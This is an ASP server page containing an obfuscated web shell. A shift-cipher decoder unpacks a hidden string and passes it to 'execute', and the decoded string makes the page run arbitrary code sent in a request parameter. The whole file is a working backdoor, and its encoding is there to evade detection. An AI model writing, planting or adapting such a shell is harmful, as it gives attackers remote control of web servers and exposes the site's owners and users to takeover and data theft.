<%
xu="2E20BA2L?2>B2@ATNC228NU墤"
execute(UnEncode(xu))
function UnEncode(temp)
    but=44
    for i = 1 to len(temp)
        if mid(temp,i,1)<>"墤" then
            If Asc(Mid(temp, i, 1)) < 32 Or Asc(Mid(temp, i, 1)) > 126 Then
                a = a & Chr(Asc(Mid(temp, i, 1)))
            else
                pk=asc(mid(temp,i,1))-but
                if pk>126 then
                    pk=pk-95
                elseif pk<32 then
                    pk=pk+95
                end if
                a=a&chr(pk)
            end if
        else
            a=a&vbcrlf
        end if
    next
    UnEncode=a
end function
%>